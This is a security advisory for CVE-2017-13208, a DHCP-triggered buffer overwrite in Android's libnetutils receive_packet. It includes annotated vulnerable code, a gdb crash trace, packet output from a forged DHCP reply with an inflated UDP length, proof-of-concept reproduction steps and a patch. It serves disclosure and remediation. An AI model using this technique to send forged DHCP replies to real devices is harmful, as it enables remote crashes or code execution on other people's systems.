Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-13208
Version: 0.1
Date: Oct 05th, 2017
Tag: android platform system core libnetutils dhcp parser buffer overwrite
Name: android.platform.system.core.libnetutils
Vendor: google
References: * https://android.googlesource.com/platform/system/core/+/master/libnetutils [1]
* https://source.android.com/security/bulletin/2018-01-01 [2]
Version: 7cdc0a3edc816cf81cecab35b85bd55bea7b5015
Latest Version: 7cdc0a3edc816cf81cecab35b85bd55bea7b5015 (master)
Other Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1 [5]
Platform(s): cross
Technology: c
Vuln Classes: CWE-121, CWE-122
Origin: remote
Min. Privs.: none
CVE: CVE-2017-13208
Android-BUGId: A-67474440 [3]
quote Android Open Source Project (AOSP) [4]
Android is an open source software stack for a wide range of mobile devices and a corresponding open source project led by Google. This site and the Android Open Source Project (AOSP) repository offer the information and source code you need to create custom variants of the Android stack, port devices and accessories to the Android platform, and ensure your devices meet compatibility requirements.
quote cve.mitre.org [5]
In receive_packet of libnetutils/packet.c, there is a possible out-of-bounds write due to a missing bounds check on the DHCP response. This could lead to remote code execution as a privileged process with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-67474440.
Android Security Bulletin [2]: RCE | Critical | 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1
Android Issue Tracker [3]: A-67470944
-
Briefly describe the issue including source file and function
a straight forward remote buffer overwrite found in the DHCP handling routines of libnetutils. Specifically, the
libnetutils::receive_packet
handler is missing some bounds checks fordhcp_size
(UDP.length - UDP struct size). A third-party entity on the same network segment, may, by quickly answering DHCP requests, control the value ofdhcp_size
that is used in a subsequent call to memcpy by hinting an arbitrary large UDP.length datagram length leading to OOB access/write conditions. -
Provide details such as what is the root cause of the issue, steps to reproduce the issue
receive_packet
takes a file-descriptors
and astruct dhcp_msg msg
. The latter is the destination buffer allocated by the caller. The method first reads up tosizeof(packet)
bytes from the file-descriptor and then attempts to perform sanity checks to validate the IP/DHCP packet.- It first checks if enough bytes were received to fit an IP+UDP header. - Valid IP/UDP packet
- It then checks if it was an IPv4 packet was received completely. - Valid IPv4
- It then checks if it did not receive the total IP packets size. - Valid NonFrag
- It then checks if the next protocol is UDP. - Valid UDP nextproto hint.
- It then checks if the dest IP matches the BOOTP/DHCP client port. - Is DHCP Response
- It then checks if the IP checksum is correct. - Valid IP Checksum
- It then checks if the UDP checksum is valid. - Valid UDP Checksum
Given all of the checks pass the method copies
dhcp_size
bytes frompacket.dhcp
(stack) to the caller allocatedstruct dhcp_msg msg
. An attacker is in control ofdhcp_size
andpacket.dhcp
by forging valid (to rules 1-7) DHCP packets hinting an arbitrary (to the extent of the UDP.length field) UDP.length and recalculating the checksum to satisfy 7. That way an attacker has control over the amount of bytes copied from the fixed size buffersstruct dhcp_packet
tostruct dhcp_msg
. This typically ends in a SIGSEGV caused by an OOB read/write condition.
Git Tags/Branches: master -> back to android-1.6r1
-
Include function code with line numbers and add comments (if possible) to specify the line of vulnerable code:
Source: https://android.googlesource.com/platform/system/core/+/master/libnetutils/packet.c Method: receive_packet() @ packet.c:156 Crash: memcpy() @ packet:239 PoI: dhcp_size @ packet:220
// Note: annotations are prefixed with //#!
int receive_packet(int s, struct dhcp_msg *msg)
{
int nread;
int is_valid;
struct dhcp_packet {
struct iphdr ip;
struct udphdr udp;
struct dhcp_msg dhcp;
} packet;
int dhcp_size;
uint32_t sum;
uint16_t temp;
uint32_t saddr, daddr;
nread = read(s, &packet, sizeof(packet)); //#! store incoming data in struct dhcp_packet packet
if (nread < 0) {
return -1;
}
/*
* The raw packet interface gives us all packets received by the
* network interface. We need to filter out all packets that are
* not meant for us.
*/
is_valid = 0;
//#! we can easily satisfy all these checks while providing an overly large UDP.length
//#! <--- begin checks
if (nread < (int)(sizeof(struct iphdr) + sizeof(struct udphdr))) {
#if VERBOSE
ALOGD("Packet is too small (%d) to be a UDP datagram", nread);
#endif
} else if (packet.ip.version != IPVERSION || packet.ip.ihl != (sizeof(packet.ip) >> 2)) {
#if VERBOSE
ALOGD("Not a valid IP packet");
#endif
} else if (nread < ntohs(packet.ip.tot_len)) {
#if VERBOSE
ALOGD("Packet was truncated (read %d, needed %d)", nread, ntohs(packet.ip.tot_len));
#endif
} else if (packet.ip.protocol != IPPROTO_UDP) {
#if VERBOSE
ALOGD("IP protocol (%d) is not UDP", packet.ip.protocol);
#endif
} else if (packet.udp.dest != htons(PORT_BOOTP_CLIENT)) {
#if VERBOSE
ALOGD("UDP dest port (%d) is not DHCP client", ntohs(packet.udp.dest));
#endif
} else {
is_valid = 1;
}
//#! ---> end checks
//#! missing bounds checks for UDP.length aka packet.udp.len
if (!is_valid) {
return -1;
}
/* Seems like it's probably a valid DHCP packet */
/* validate IP header checksum */
//#! we do not mess with the IP header
sum = finish_sum(checksum(&packet.ip, sizeof(packet.ip), 0));
if (sum != 0) {
ALOGW("IP header checksum failure (0x%x)", packet.ip.check);
return -1;
}
/*
* Validate the UDP checksum.
* Since we don't need the IP header anymore, we "borrow" it
* to construct the pseudo header used in the checksum calculation.
*/
dhcp_size = ntohs(packet.udp.len) - sizeof(packet.udp); //#! packet.udp.len is under control
saddr = packet.ip.saddr;
daddr = packet.ip.daddr;
nread = ntohs(packet.ip.tot_len);
memset(&packet.ip, 0, sizeof(packet.ip));
packet.ip.saddr = saddr;
packet.ip.daddr = daddr;
packet.ip.protocol = IPPROTO_UDP;
packet.ip.tot_len = packet.udp.len;
temp = packet.udp.check;
packet.udp.check = 0;
sum = finish_sum(checksum(&packet, nread, 0));
packet.udp.check = temp;
if (!sum)
sum = finish_sum(sum);
//#! the poc re-calculates the UDP checksum in order to satisfy this check
if (temp != sum) {
ALOGW("UDP header checksum failure (0x%x should be 0x%x)", sum, temp);
return -1;
}
memcpy(msg, &packet.dhcp, dhcp_size); //#! dhcp_size is under control
//#! boom! - dhcp_size largerthan src/dst buffer
return dhcp_size;
}
- Provide crash artifacts including stack trace (if available)
//vm-A: python dhcp_poc3.py eth1
//vm-B: sudo gdb --args ./sniff_poc eth1
//vm-B: dhclient eth1
// annotations are prefixed with //#!
tin@ubuntu:~$ sudo gdb --args ./sniff_poc eth1
(gdb) r
Starting...
got pkt
[+] got UDP - 28 bytes
[+] wrap read data with shm_open() to create an fd that cann be passed to receive_packet(fd, &dhcp_msg)
[+] calling receive_packet
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
483 ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) i r
eax 0xbffff220 -1073745376
ecx 0x2320 8992
edx 0xbffff750 -1073744048
ebx 0xb7fa9000 -1208315904
esp 0xbffff1b8 0xbffff1b8
ebp 0xbffff718 0xbffff718
esi 0xb7fa9000 -1208315904
edi 0xb7fa9000 -1208315904
eip 0xb7f1dbe3 0xb7f1dbe3 <__memcpy_sse2_unaligned+51>
eflags 0x10283 [ CF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
#1 0x0804a033 in receive_packet (s=7, msg=0xbffff750) at packet.c:239
#2 0x08048bfb in ProcessPacket (buffer=0x804d008 "E", size=28) at sniffer.c:102
#3 0x08048a57 in main () at sniffer.c:63
(gdb) bt full
#0 __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
No locals.
#1 0x0804a033 in receive_packet (s=7, msg=0xbffff750) at packet.c:239
nread = 28 //#! we've actually only received 28 bytes
is_valid = 1 //#! the packet is valid up to the memcpy
packet = {ip = {ihl = 0, version = 0, tos = 0 '\000', tot_len = 10275, id = 0, frag_off = 0, ttl = 0 '\000', protocol = 17 '\021', check = 0, saddr = 2390337728,
daddr = 2356783296}, udp = {{{uh_sport = 17152, uh_dport = 17408, uh_ulen = 10275, uh_sum = 43844}, {source = 17152, dest = 17408, len = 10275, check = 43844}}},
dhcp = {op = 128 '\200', htype = 150 '\226', hlen = 227 '\343', hops = 183 '\267', xid = 2, secs = 0, flags = 0, ciaddr = 88, yiaddr = 1, siaddr = 0, giaddr = 0,
chaddr = "\377\377\377\377\000\000\000\000\300\377\377\377\000\227Ý·",
sname = "\000\000\000\000\300\251\004\b\001\000\000\000\003\000\000\000\020\320\005\b\000\000\000\000\300\377\377\377Ä©\004\b\330\366\377\277\017\251\004\b\001\000\000\000\036\000\000\000\020\320\005\b\000\000\000\000\220\060\345\267\020\320\005\b",
file = "\000\000\000\000\000\000\000\000\300\377\377\377\000\227Ý·\000\000\000\000\202\243\004\b\220\060\345\267\020\320\005\b", '\000' <repeats 12 times>, "\213\243\004\b$\367\377\277\000\000\000\000\220\060\345\267`\235\372\267\000\000\000\000\000\000\000\000\220\060\345\267`\235\372\267", '\000' <repeats 47 times>,
options = "c\202Sc5\001\005\066\004\300\250y\376\063\004\000\000\a\b\001\004\377\377\377\000\034\004\300\250y\377\017\vlocaldomain\006\004\300\250y\001\377", '\000' <repeats 14 times>, "\320\377\267\020@ß·\242\227\376\267\270\321\377\267`\330\377\267\001\000\000\000\001", '\000' <repeats 28 times>, "\360\377\267\000\305Ý·", '\000' <repeats 12 times>, "\230\006\340\267\000\000\000\000\000\000\000\000\353\226\376\267\000@ß·\350\312\336\267\200\000\000\000\000@ß·\020\377\376\267\000\000\000\000\000@ß·\000@ß·\020\364\377\277\026\302ì·ªs\336\267\350\312\336\267\020\364\377\277", '\000' <repeats 20 times>...}}
dhcp_size = 8992 //#! the poc hints a UDP.length of 9000. dhcp_size = 9000-sizeof(packet.udp)
sum = 43844 //#! checksum matches temp
temp = 43844
saddr = 2390337728
daddr = 2356783296
//#! frames of the sniffer PoC code. ignore this part
#2 0x08048bfb in ProcessPacket (buffer=0x804d008 "E", size=28) at sniffer.c:102
s = 7
msg = {op = 2 '\002', htype = 1 '\001', hlen = 6 '\006', hops = 0 '\000', xid = 448147327, secs = 0, flags = 0, ciaddr = 0, yiaddr = 2356783296, siaddr = 4269385920,
giaddr = 0, chaddr = "\000\f)ܻ1\000\000\000\000\000\000\000\000\000", sname = '\000' <repeats 63 times>, file = '\000' <repeats 127 times>,
options = "c\202Sc5\001\005\066\004\300\250y\376\063\004\000\000\a\b\001\004\377\377\377\000\034\004\300\250y\377\017\vlocaldomain\006\004\300\250y\001\377", '\000' <repeats 13 times>, "\370\370\377\277@\371\377\277KJ\376\267\020\257Ý·\370\370\377\277t\372\377\267\002\000\000\000p\330\377\267\001\000\000\000\000\000\000\000\001\000\000\000\000\320\377\267\001\000\000\000\000\000\000\000\001\000\000\000\000\320\377\267", '\000' <repeats 21 times>, "\360\377\267\000\320\377\267\360\370\377\277\347\305Ý·\000\000\000\000\204\371\377\277\000\371\377\277\315\305Ý·\377\377\377\377\224\371\377\277h\351ß·\020{\375\267\377\377\377\377\000\000\000\000"...}
ret = 300
iph = 0x804d008
#3 0x08048a57 in main () at sniffer.c:63
saddr_size = 16
data_size = 28
saddr = {sa_family = 2, sa_data = "\000\000\300\250y\216\000\000\000\000\000\000\000"}
in = {s_addr = 16}
buffer = 0x804d008 "E"
The output of the PoC and the sent packet:
[+] building malformed reply ...
[i] --> received vendor_class = None
[i] --> new checksum = f5fa
###[ Ethernet ]###
dst = 00:0c:29:dc:bb:31
src = 00:0c:29:5a:a5:9b
type = 0x800
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 192.168.2.116
dst = 0.0.0.0
\options \
###[ UDP ]###
sport = bootps
dport = bootpc
len = 9000 //#! even though the packet is only 28 bytes we hint 9000
chksum = 0xf5fa //#! and we fix the checksum
[+] sending malformed reply ...
.
Sent 1 packets.
-
Build fingerprint from the device used to reproduce the issue
N/A. Found while browsing the android source code repositories. My nexus does not seem to ship this code. However, there were recent changes to the codebase suggesting this code may still be maintained.
-
CTS test
N/A. see patch/fix
-
Patch / fix
I'd probably opt to remove this from the repository if there's no dependencies to it in order to not create a false sense of it being maintained and therefore used by other projects/manufactures. There's some pot. int signedness issues as well and the code does not really seem to follow the quality guideline to the extend other modules are doing it. Nevertheless, here's a patch that validates dhcp_size.
--- packet.c 2017-10-05 13:43:05.000000000 -0700
+++ packet.c.new 2017-10-05 13:37:12.450271294 -0700
@@ -218,6 +218,20 @@
* to construct the pseudo header used in the checksum calculation.
*/
dhcp_size = ntohs(packet.udp.len) - sizeof(packet.udp);
+ /*
+ * check validity of dhcp_size.
+ * 1) cannot be negative or zero.
+ * 2) src buffer contains enough bytes to copy
+ * 3) cannot exceed destination buffer
+ */
+ if (dhcp_size <= 0 || (nread - sizeof(struct iphdr) - sizeof(struct udphdr) < dhcp_size) || sizeof(struct dhcp_msg) < dhcp_size) {
+#if VERBOSE
+ ALOGD("Malformed Packet");
+#endif
+ return -1;
+ }
+
+
saddr = packet.ip.saddr;
daddr = packet.ip.daddr;
nread = ntohs(packet.ip.tot_len);
-
Proof of Concept
[vm-A - attacker][eth1]---------------DHCP--------------[eth1][vm-B - victim]
// Note: the PoC performs some magic in order to satisfy receive_packet's interface. This // is intentional to not require any changes to the original packet.c.
- vm-A - the attacker: ** both machines must be on the same network segment (DHCP) ** ubuntu linux; vmware may require to allow promisc. mode in vm netif settings
-
install python2.x
-
install scapy -
pip install scapy
orapt|yum install python-scapy
-
run
poc.py <interface>
The script sniffs for DHCP packets and answers with forged DHCP responses in an attempt to cause a buffer overwrite in libnetutils.
- vm-B - the target:
-
checkout
buildme.sh
,fixup.h
andsniffer.c
-
run
buildme.sh
2.1) the script will download and untar libnetutils from the official repository to the current directory 2.2) and buildssniffer.c
assniffer_poc
-
check if the build succeeds and execute
sudo ./sniffer_poc <interface>
sniffer.c
is a simple raw socket packet sniffer that takes incoming UDP datagrams, wraps them as IO-objects and feeds them into the vulnerable methodpacket.c:receive_packet
oflibnetutils
. This method lacks a check for the UDP packet size which allows to cause an out-of-bounds buffer write condition. The target buffer's location is up to the implementer and is being passed toreceive_packet
. -
vm-B likely already received an IP via DHCP and therefore may not re-request unless the lease expires. Since vm-A (the attacker) only sends out crafted DHCP responses for matching DHCP requests we will have to request a lease renewal (or new lease) by issuing
#> dhclient <interface>
(or your favorite dhcpc software). Rebooting and waiting for your device to renew/refresh the lease would be another option ;) -
sniffer_poc
detects the UDP datagram, feeds it intolibnetutils
and crashes with a SIGSEGV
[1] https://android.googlesource.com/platform/system/core/+/master/libnetutils
[2] https://source.android.com/security/bulletin/2018-01-01
[3] https://issuetracker.google.com/issues/67470944
[4] https://source.android.com/
[5] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13208
[6] https://android.googlesource.com/platform/system/core/+/b71335264a7c3629f80b7bf1f87375c75c42d868
https://github.com/tintinweb